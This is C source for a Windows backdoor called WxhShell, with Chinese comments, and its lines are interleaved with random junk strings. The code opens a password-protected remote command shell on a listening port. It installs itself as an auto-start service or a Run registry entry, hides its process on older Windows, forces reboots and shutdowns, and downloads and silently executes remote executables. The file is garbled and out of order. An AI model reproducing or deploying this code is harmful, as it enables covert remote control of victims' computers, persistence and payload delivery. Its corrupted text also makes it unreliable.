    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yqpb_h9  
    if(Boot(SHUTDOWN)) [u_-x3`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(,npW  
    else { *o8DfZ  
    closesocket(wsh); P:z5/??2S  
    ExitThread(0); O87Ptr8  
    } 0K -jF5i$`  
    break; QdM&M^  
    } ,q yp2Y7  
  // 获取shell gxpGi@5  
  case 's': { z6tH2Wxf  
    CmdShell(wsh); U>^u!1X  
    closesocket(wsh); * i[^-  
    ExitThread(0); anj*a<C<  
    break; p[*NekE6-  
  } &H!#jh\w  
  // 退出 tlU&p'  
  case 'x': { ,:!X]F#d$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `[JX}<~i  
    CloseIt(wsh); $ctY#:;pV{  
    break; >$]SYF29  
    } #D"fCVIS  
  // 离开 jiPV ]aVN  
  case 'q': { UE4zmIq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @0`Q  
    closesocket(wsh); dU]>  
    WSACleanup(); (ilU<Ht  
    exit(1); W{\){fr6O  
    break; u 89u#gCAC  
        } v4}kmH1  
  } RHo|&.B;+  
  } lgC|3]  
H4'xxsx  
  // 提示信息 h(hb?f@1:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NJb5HoYZ  
} 1]r+$L3  
  } YX+Da"\  
jP6;~[rl  
  return; s1XW}Dw  
} W! FmC$Kc  
NQ$tQ#chd  
// shell模块句柄 1!. CfQi  
int CmdShell(SOCKET sock) t@-:e^ v  
{ U$KdY _Z97  
STARTUPINFO si; T!o 4k  
ZeroMemory(&si,sizeof(si)); i]Or'L0c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G0Wzx)3]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \[&~.B  
PROCESS_INFORMATION ProcessInfo; xq',pzN  
char cmdline[]="cmd"; 8o~<\eF%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -b-Pvw4  
  return 0; jcF/5u5e  
} T`46\KkN  
uY;-x~Z  
// 自身启动模式 @RKw1$BA  
int StartFromService(void) >\b=bT@iM  
{ ,R$n I*mf_  
typedef struct 'j];tO6GfC  
{ j'i-XIs  
  DWORD ExitStatus; xz YvD{>  
  DWORD PebBaseAddress; +x$;T*0  
  DWORD AffinityMask; D,+I)-k<  
  DWORD BasePriority; 6.|f iQs ]  
  ULONG UniqueProcessId; `P9vZR;  
  ULONG InheritedFromUniqueProcessId; {{ M?+]p,^  
}   PROCESS_BASIC_INFORMATION; _$"qC[.  
=rS z>l  
PROCNTQSIP NtQueryInformationProcess; D .| h0gU  
w5|az6wZB!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dI&2dcumS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pLL ^R  
BvpGP  
  HANDLE             hProcess; `':$PUz,g  
  PROCESS_BASIC_INFORMATION pbi; s]0x^"#B  
7,ODh-?ez  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PL<q|y  
  if(NULL == hInst ) return 0; HS| &["  
'6u;KIG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d;|Pp;dc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +r9:n(VP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nn$,|/  
h,<%cvU=  
  if (!NtQueryInformationProcess) return 0; lKEdpF<  
3.B|uN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mKynp  
  if(!hProcess) return 0; R@t?!`f!+  
N5[QQtQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]1rr$f9  
~P|YAaFx  
  CloseHandle(hProcess); I(ds]E ;_E  
HgE^#qD?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3t[2Bd  
if(hProcess==NULL) return 0; d@pD5n=m;  
o6  
HMODULE hMod; l,HMm|oU  
char procName[255]; |#$Wh+,*  
unsigned long cbNeeded; ^.Vq0Qzy]  
Q&^ti)vB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AM*V4}s*9k  
He. gl  
  CloseHandle(hProcess); >Rs:Fw|jro  
&%L1n?>Q}  
if(strstr(procName,"services")) return 1; // 以服务启动 #A@*k}/+  
#rqLuqw  
  return 0; // 注册表启动 n  !]_o  
} yb56nd  
a_w# ,^/P  
// 主模块 bcC ;i~9  
int StartWxhshell(LPSTR lpCmdLine) K+TRt"W8&s  
{ mu04TPj  
  SOCKET wsl; $0V<wsVM  
BOOL val=TRUE; DY'D]*'7$  
  int port=0; tM <6c+  
  struct sockaddr_in door; ^tIs57!  
ko*Ir@SDv  
  if(wscfg.ws_autoins) Install(); DzYi> E:*  
_C DUUr  
port=atoi(lpCmdLine); m^@,0\F  
ihBlP\C  
if(port<=0) port=wscfg.ws_port; ir-srVoXy  
yYwZZa1  
  WSADATA data; kUUeyq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bEyZRG  
Z\D!'FX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NGtSC_~d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ( e6JI]tz{  
  door.sin_family = AF_INET; "detDB   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xCz(qR  
  door.sin_port = htons(port); @~hiL(IR'  
UUc{1"z{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z0s}65BR  
closesocket(wsl); BSYJ2   
return 1; "VR>nyG%  
} ~cQ./G4  
<R582$( I  
  if(listen(wsl,2) == INVALID_SOCKET) { C;];4[XR  
closesocket(wsl); DKnjmZ:J|  
return 1; p;zV4uSv  
} SB0Cq  
  Wxhshell(wsl); 109dB$+$  
  WSACleanup(); _>+!&_h  
1`J-|eH=Q  
return 0; 3cfW|J  
 u:JD  
} `dekaRo  
8Yc'4v#}  
// 以NT服务方式启动 PKFjM~J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q{~59{Fha  
{ FFX-kS  
DWORD   status = 0; ^=`7]E[p  
  DWORD   specificError = 0xfffffff; 9"hH2jc  
mrWPTCD{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s)C5u;3!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9oBK(Sf@^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UgI0 *PE2  
  serviceStatus.dwWin32ExitCode     = 0; `Cq&;-u  
  serviceStatus.dwServiceSpecificExitCode = 0; +9Q,[)e r  
  serviceStatus.dwCheckPoint       = 0; _#32hAI  
  serviceStatus.dwWaitHint       = 0; n Mm4fns  
4FrP%|%E~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E| eEAa  
  if (hServiceStatusHandle==0) return; &iKy  
j"=F\S&!  
status = GetLastError(); EMy>X  
  if (status!=NO_ERROR) t 7GK\B8:  
{ jMUd,j`Opx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nl/^ga  
    serviceStatus.dwCheckPoint       = 0; wT\JA4  
    serviceStatus.dwWaitHint       = 0; x6yYx_  
    serviceStatus.dwWin32ExitCode     = status; 0 PEg `Wq  
    serviceStatus.dwServiceSpecificExitCode = specificError; M;2@<,rM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6[+@#IWx  
    return; RfoEHN  
  } U]Y</>xGI  
phCItN;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [vv $"$z  
  serviceStatus.dwCheckPoint       = 0; hp|.hN(kS]  
  serviceStatus.dwWaitHint       = 0; |WP}y- Au  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (8"advc6  
} tuK2D,6  
_:+hB9n s  
// 处理NT服务事件,比如:启动、停止 m3T=x =  
VOID WINAPI NTServiceHandler(DWORD fdwControl) deLLqdZa  
{ WwDd62g  
switch(fdwControl) LX'z7fh  
{ XrUc`  
case SERVICE_CONTROL_STOP: Q DVk7ks  
  serviceStatus.dwWin32ExitCode = 0; Rf4}((y7Y\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |hl:!j.t  
  serviceStatus.dwCheckPoint   = 0; ~a$h\F'6  
  serviceStatus.dwWaitHint     = 0; Cer&VMrQK  
  { ;_X2E~i[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S( ^HIJK  
  } /@w w"dmqU  
  return; q-hREO  
case SERVICE_CONTROL_PAUSE: -DuI 6K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]?G|:Kx$y%  
  break; *fCmZ$U:{  
case SERVICE_CONTROL_CONTINUE: MxgJ+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x^zw1e,y  
  break; Sx8RH),k  
case SERVICE_CONTROL_INTERROGATE: jd`h)4  
  break; OwCbv j0 #  
}; g@2KnzD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); baoyU#X9  
} ${)oi:K@:  
`r'$l<(4WV  
// 标准应用程序主函数 1/f{1k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KCIya[$*  
{ \,xa_zeO  
W3zYE3DZf  
// 获取操作系统版本 s0O]vDTR,H  
OsIsNt=GetOsVer(); j1rR3)oP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c)3.AgT  
QWc,JCu  
  // 从命令行安装 n)0M1o#  
  if(strpbrk(lpCmdLine,"iI")) Install(); |}?H$d  
D0Mxl?S?  
  // 下载执行文件 efNscgi  
if(wscfg.ws_downexe) { [vY#9W"!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &]h`kvtBC  
  WinExec(wscfg.ws_filenam,SW_HIDE); G^sx/H76J  
} RFLfvD<  
d_,Ql708f  
if(!OsIsNt) { G6.lRaPu"m  
// 如果时win9x,隐藏进程并且设置为注册表启动 r+d+gO.  
HideProc(); ;X^#$*=Q  
StartWxhshell(lpCmdLine); 5 JlgnxRq  
} 182g6/,  
else $4mCtonP=  
  if(StartFromService()) OwT_W)$  
  // 以服务方式启动 ,k_"T.w  
  StartServiceCtrlDispatcher(DispatchTable); #mU<]O  
else =w* 8   
  // 普通方式启动 \%&A? D  
  StartWxhshell(lpCmdLine); vV xw*\`<6  
_Vl~'+e  
return 0; ,]@K,|pC)  
} }SC&6B?G  
O,Tp,w T  
i\_LLXc  
!u'xdV+bf  
=========================================== -uxU[E  
qw$9i.Z  
pSbtm74  
oNIYO*[  
}`2a>N: &  
^r-d.1  
" &l0K~7)b  
oN[}i6^,e  
#include <stdio.h> }AA">FF'y4  
#include <string.h> '#yqw%  
#include <windows.h> `Th~r&GvF  
#include <winsock2.h> qFK.ULgP`  
#include <winsvc.h> ;:_AOb31N  
#include <urlmon.h> f=k#o2  
tT!' qL.*  
#pragma comment (lib, "Ws2_32.lib") (c)=Do=  
#pragma comment (lib, "urlmon.lib") .;Mb4"7=  
SzIzQR93&  
#define MAX_USER   100 // 最大客户端连接数 `u}_O(A1pA  
#define BUF_SOCK   200 // sock buffer _}Qtx/Cg  
#define KEY_BUFF   255 // 输入 buffer z bYv}q  
umWs8-'Uw  
#define REBOOT     0   // 重启 p:TE##  
#define SHUTDOWN   1   // 关机 dVYY:1PS  
zt: !hM/Vt  
#define DEF_PORT   5000 // 监听端口 xh bN=L  
MOK}:^bSu  
#define REG_LEN     16   // 注册表键长度 1&! i:F#  
#define SVC_LEN     80   // NT服务名长度 \wD/TLS}  
/6Q]f  
// 从dll定义API (_|*&au J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r}&&e BY f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rbnAC*y8'L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eM_;rMCr}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  NdRcA  
COsmVQ.  
// wxhshell配置信息 +HBizJ9K  
struct WSCFG { r) x  
  int ws_port;         // 监听端口 7bk77`qWr  
  char ws_passstr[REG_LEN]; // 口令 _$96y]Bpi  
  int ws_autoins;       // 安装标记, 1=yes 0=no wv\K  
  char ws_regname[REG_LEN]; // 注册表键名 Sc]K-]1(H  
  char ws_svcname[REG_LEN]; // 服务名 2L1y4nnbwo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2PYnzAsl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 beBG40  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JyZuj>` 6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )`rD]0ua;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" : c~SH/qS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zawu(3?~)5  
Tk?uJIS :  
}; 8j;Un]  
{6H[[7i  
// default Wxhshell configuration 3T8d?%.l  
struct WSCFG wscfg={DEF_PORT, Cu8mNB{H  
    "xuhuanlingzhe", P !i_?M  
    1, GMJ4v S  
    "Wxhshell", x6`mv8~9Db  
    "Wxhshell", ;.uYWP|9  
            "WxhShell Service", 3A!a7]fW  
    "Wrsky Windows CmdShell Service", /IWA U)A0  
    "Please Input Your Password: ", PP$sdmo  
  1, 04-_ K  
  "http://www.wrsky.com/wxhshell.exe", Ob/)f)!!  
  "Wxhshell.exe" :oZ<[#p"*  
    }; oj djy#:  
9>&zOITTaL  
// 消息定义模块 :s_> y_=g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sv M\9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `-uE(qp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4CF;>b f~  
char *msg_ws_ext="\n\rExit."; &`I(QY  
char *msg_ws_end="\n\rQuit."; TI DgIK  
char *msg_ws_boot="\n\rReboot..."; ByY2KJ7  
char *msg_ws_poff="\n\rShutdown..."; Bib<ySCre  
char *msg_ws_down="\n\rSave to "; euB1}M  
N1ipK9a  
char *msg_ws_err="\n\rErr!"; G$>?UQ[  
char *msg_ws_ok="\n\rOK!"; [Kwj 7q`  
A4tk</A  
char ExeFile[MAX_PATH]; \Osu1]Jn>  
int nUser = 0; R'v~:wNTNs  
HANDLE handles[MAX_USER]; aj`&ca8  
int OsIsNt; P+j=]Yg  
'(5GR I<  
SERVICE_STATUS       serviceStatus; mITB\,,G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~(V\.hq  
8z1z<\  
// 函数声明 2%pED xui  
int Install(void); O=2|'L'h!  
int Uninstall(void); LDjtkD.r  
int DownloadFile(char *sURL, SOCKET wsh); Mh7m2\fLbd  
int Boot(int flag); wD9K\%jIr!  
void HideProc(void); X`D2w:  
int GetOsVer(void); XZIapT  
int Wxhshell(SOCKET wsl); 3s%?)z  
void TalkWithClient(void *cs); XR+ SjCA  
int CmdShell(SOCKET sock); &zJI~R  
int StartFromService(void); [7@ g*!+d  
int StartWxhshell(LPSTR lpCmdLine); L0wT:x*  
%4*c/ c6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U>PZ3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bTD?uX!^@  
ZQfxlzj+X  
// 数据结构和表定义 072C!F  
SERVICE_TABLE_ENTRY DispatchTable[] = x?wvS]EBg  
{ )=~&l={T  
{wscfg.ws_svcname, NTServiceMain}, XZ%,h  
{NULL, NULL} L"bJ#0m  
}; {zb'Z Yz  
'3>;8(s l  
// 自我安装 /L^g. ~  
int Install(void) K{P-+(  
{ st RM *.  
  char svExeFile[MAX_PATH]; rt+4-WuK>  
  HKEY key; =?OU^ u`C  
  strcpy(svExeFile,ExeFile); ETHcZ  
Ixxs(  
// 如果是win9x系统,修改注册表设为自启动 '8q3ub<\  
if(!OsIsNt) { v+nXKNL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jSem/;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *$eH3nn6g  
  RegCloseKey(key); ='m$ O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0<m7:D Gd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9\_s&p=:.  
  RegCloseKey(key); # ?2*I2_  
  return 0; HgQjw!  
    } hZ45i?%  
  } 2)=whnFS  
} T)zk2\u  
else { t=P+m   
#p(gB)o:l  
// 如果是NT以上系统,安装为系统服务 y[ dB mTY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nh!`"B2B  
if (schSCManager!=0) JG!B3^qB  
{ }QI \K  
  SC_HANDLE schService = CreateService [K4cxqlfk  
  ( SP%X@~d  
  schSCManager, KtQs uL%  
  wscfg.ws_svcname, i-CJ{l  
  wscfg.ws_svcdisp, J||g(+H>  
  SERVICE_ALL_ACCESS, | #yu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2y!n c%  
  SERVICE_AUTO_START, /!Rva"  
  SERVICE_ERROR_NORMAL, wiN0|h>,  
  svExeFile, 84(Jo_9  
  NULL, !BoGSI  
  NULL, MRpMmu  
  NULL, J*zzjtY( 1  
  NULL, pf8'xdExH)  
  NULL [(n5-#1S  
  ); _A,_RM$Y  
  if (schService!=0) K GgtEh|  
  { 5HbHJ.|r  
  CloseServiceHandle(schService); )w].m  
  CloseServiceHandle(schSCManager); b~.$1oZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mq91HmC(@  
  strcat(svExeFile,wscfg.ws_svcname); ,l&?%H9q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5p.rd0T]l3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \92M\S  
  RegCloseKey(key); $oW= N   
  return 0; :a*>PMTn  
    } J`5VE$2M  
  } )>ff"| X  
  CloseServiceHandle(schSCManager); +C`!4v\n  
} 0N1t.3U  
} 7@{%S~TN  
]>~.U ~  
return 1; U.TZd"  
} 5]i#l3")  
xC< )]  
// 自我卸载 j)@W1I]2#  
int Uninstall(void) `ulQ C  
{ 'pA%lc)  
  HKEY key; 6Jgl"Jw8  
HK[%'OQ  
if(!OsIsNt) { s $(%]~P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S[L@8z.Sj  
  RegDeleteValue(key,wscfg.ws_regname); >.SO2w  
  RegCloseKey(key); 4b}p[9k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IEm?'o:  
  RegDeleteValue(key,wscfg.ws_regname); Cx;it/8+  
  RegCloseKey(key); Z*Ffdh>*:&  
  return 0; <x`yoVPiZg  
  } g(P7CX+y  
} ^fKKsfIf  
} D0#U*tq;  
else { MO ~T_6  
$idToOkw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +Vg(2Xt  
if (schSCManager!=0) U$D:gZ  
{ lsV>sW4]Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0^{Tq0Ri[  
  if (schService!=0) &# fPJc  
  { dZ|bw0~_!  
  if(DeleteService(schService)!=0) { <2*+Y|Lk2  
  CloseServiceHandle(schService); d)48m}[:  
  CloseServiceHandle(schSCManager); u9;3Xn8  
  return 0; CMC p7- v  
  } !T`g\za/  
  CloseServiceHandle(schService); h(2{+Y+  
  } fe4/[S{a   
  CloseServiceHandle(schSCManager); ]UO zz1   
} 6+sz4  
} ++2a xRl  
v*excl~  
return 1; =YYqgNz+\w  
} "j%Gr :a  
x^3K=l;N  
// 从指定url下载文件 ~i-n_7+  
int DownloadFile(char *sURL, SOCKET wsh) f[zKA{R  
{ %.[AZ>  
  HRESULT hr; d;%~\+)x4  
char seps[]= "/"; AJ 0Bb7  
char *token; !OV+2suu1  
char *file; 2P57C;N8|  
char myURL[MAX_PATH]; }`whg8 fZ  
char myFILE[MAX_PATH]; a&)$s;  
cmf*BkS  
strcpy(myURL,sURL); 0Q%I[f8  
  token=strtok(myURL,seps); *[nS*D\:  
  while(token!=NULL) ygm=q^bV]s  
  { 'e))i#/VF  
    file=token; 7B _Wz9y  
  token=strtok(NULL,seps); {KqW<X6Hp  
  } !H^R_GC  
IL8&MA%  
GetCurrentDirectory(MAX_PATH,myFILE); Ejf>QIB  
strcat(myFILE, "\\"); -% B)+yq>  
strcat(myFILE, file); }LBrk0]  
  send(wsh,myFILE,strlen(myFILE),0); a;7gy419<p  
send(wsh,"...",3,0); D5T0o"A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S r7EcT-  
  if(hr==S_OK) 78z/D|{"  
return 0; 1eqFMf  
else D>#Jh>4  
return 1; imS&N.*3m  
%]DJ-7 xE  
} ?IG+U TI  
=WOYZ7  
// 系统电源模块 {-c[w&q  
int Boot(int flag) YF");itH  
{ 4s&koH(x  
  HANDLE hToken; a67NWH  
  TOKEN_PRIVILEGES tkp; D/zp_9B  
;#D:S6 L  
  if(OsIsNt) { nG5:H.)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [\i1I`7pE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S1$&  
    tkp.PrivilegeCount = 1; o2(*5*b!@e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ErMA$UkJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^nL_*+V`f  
if(flag==REBOOT) { g60r m1b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) == i?lbj  
  return 0; T;I>5aQ:q4  
} ~_L_un.R  
else { Jqi^Z*PuX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zw X 1&rN  
  return 0; b _0Xi  
} ?Da!QH >,]  
  } ;,]Wtmu)7  
  else { [^-DFq5@  
if(flag==REBOOT) { 5SY(:!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C}GOwvAL>  
  return 0; E^jb#9\R  
} O7RW*V:G@  
else { ~lLIq!!\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ygp NMq#?X  
  return 0; nz]+G2 h  
} >H?{=H+/#  
} 1vBXO bk  
Xn3Ph!\Z5e  
return 1; . ),m7"u|  
} @ (A[H^E  
.qBf`T;  
// win9x进程隐藏模块 #}!Ge  
void HideProc(void) F&lvofy23  
{ Hi<5jl  
=sW(2Im  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #4*~ 4/  
  if ( hKernel != NULL ) beYaQz/@W  
  { #Hr>KQ5mJQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C_= WL(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !7-dqw%l  
    FreeLibrary(hKernel); 7,2bR  
  } %9A6c(L  
I vQ]-A}N  
return; FHS6Mk26  
} ,$96bF "#  
64>o3Hb2  
// 获取操作系统版本 O?9&6x   
int GetOsVer(void) 5Vzi{y/bL  
{ viT/$7`AI  
  OSVERSIONINFO winfo; ayJKt03\O\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y#Ao6Od6  
  GetVersionEx(&winfo); gI qYIt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /JfRy%31  
  return 1; _kb $S  
  else /bj D*rj  
  return 0; r-+.Ax4L"  
} fKMbOqU_  
N4Z%8:"pj  
// 客户端句柄模块 #s)Wzv%OX  
int Wxhshell(SOCKET wsl) eFUJASc  
{ gD0 FRKn  
  SOCKET wsh; `2y2Bk  
  struct sockaddr_in client; Ax4nx!W,   
  DWORD myID; jd|? aK;(  
gh3XC.&  
  while(nUser<MAX_USER) +.T&U7xV  
{ Q&;dXE h  
  int nSize=sizeof(client); `Li3=!V[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F{a--  
  if(wsh==INVALID_SOCKET) return 1; +v3@WdLcD  
#N?EPV$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {i)k#`  
if(handles[nUser]==0) `g&<7~\=A  
  closesocket(wsh); ^9 gFW $]  
else Lf|5miO  
  nUser++; K%ltB&  
  } TpLlbsd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G%w hOIFRq  
8S[`(] )  
  return 0; j()<.h;'  
} Y#EM]x5!=  
#8G (r9  
// 关闭 socket Bkvh]k;F8  
void CloseIt(SOCKET wsh) GtRc7,  
{ mdW8RsR  
closesocket(wsh); ^~k2(DLk  
nUser--; 6H,n?[zTt  
ExitThread(0); %]Gm  
} xwr<ib:  
e#MEDjm/)g  
// 客户端请求句柄 =^m,|j|d>4  
void TalkWithClient(void *cs) p}%T`e=Z9  
{ JyY-@GF  
B:om61Dn  
  SOCKET wsh=(SOCKET)cs; V )CS,w  
  char pwd[SVC_LEN]; <\< [J0  
  char cmd[KEY_BUFF]; !sA[A>  
char chr[1]; O)78 iEXi|  
int i,j; ) # le|Rf  
F3$@6J8<[z  
  while (nUser < MAX_USER) { x}t,v.:  
kZXsL  
if(wscfg.ws_passstr) { @Omgk=6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RM8p[lfX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^sR]w]cz.  
  //ZeroMemory(pwd,KEY_BUFF); J0@<6~V6o  
      i=0; WVUa:_5{  
  while(i<SVC_LEN) { JX%B_eUlAs  
#jAlmxN  
  // 设置超时 V3 j1M?>  
  fd_set FdRead; 5 Z+2  
  struct timeval TimeOut; jU\vg;nr  
  FD_ZERO(&FdRead); v o vc,4}  
  FD_SET(wsh,&FdRead); w8$rt  
  TimeOut.tv_sec=8; S&]AIG)  
  TimeOut.tv_usec=0; ZPHiR4fQli  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %$K2$dq5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cNX,%  
gFR9!=,/V%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0?hJ!IT;q7  
  pwd=chr[0]; fx &b*O C  
  if(chr[0]==0xd || chr[0]==0xa) { ? +{=>{1  
  pwd=0; bvY'=   
  break; bqjj6bf'o  
  } 6%  +s`  
  i++; ?;1^8 c0  
    } Hgs=qH  
,MkldCV  
  // 如果是非法用户,关闭 socket 3KFw0(S/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 MFGKzO  
} 3QlV,)}  
?' F>DN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W\xM$#)m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n{oRmw-  
e!cZW.B=`f  
while(1) { fAMJFHW  
Hd)z[6u8eT  
  ZeroMemory(cmd,KEY_BUFF); \wW'Hk=  
#$trC)?~q  
      // 自动支持客户端 telnet标准   |)'gQvDM  
  j=0; -oGJPl{r  
  while(j<KEY_BUFF) { nNe`?TS?f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <YU+W"jQT  
  cmd[j]=chr[0]; C~\/FrO?  
  if(chr[0]==0xa || chr[0]==0xd) { P $4h_dw  
  cmd[j]=0; \@]/ks=K  
  break; ofe SGx  
  } H` !%"  
  j++; @bu5{b+8  
    } Efo,5  
.;6G?8`  
  // 下载文件 )3O0:]<H  
  if(strstr(cmd,"http://")) { eM)E3~K:2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =\v./Q-  
  if(DownloadFile(cmd,wsh)) ,/ V'(\>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,BuN]9#  
  else w3j51v` 0'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SZ+<0Y |  
  } gemjLuf  
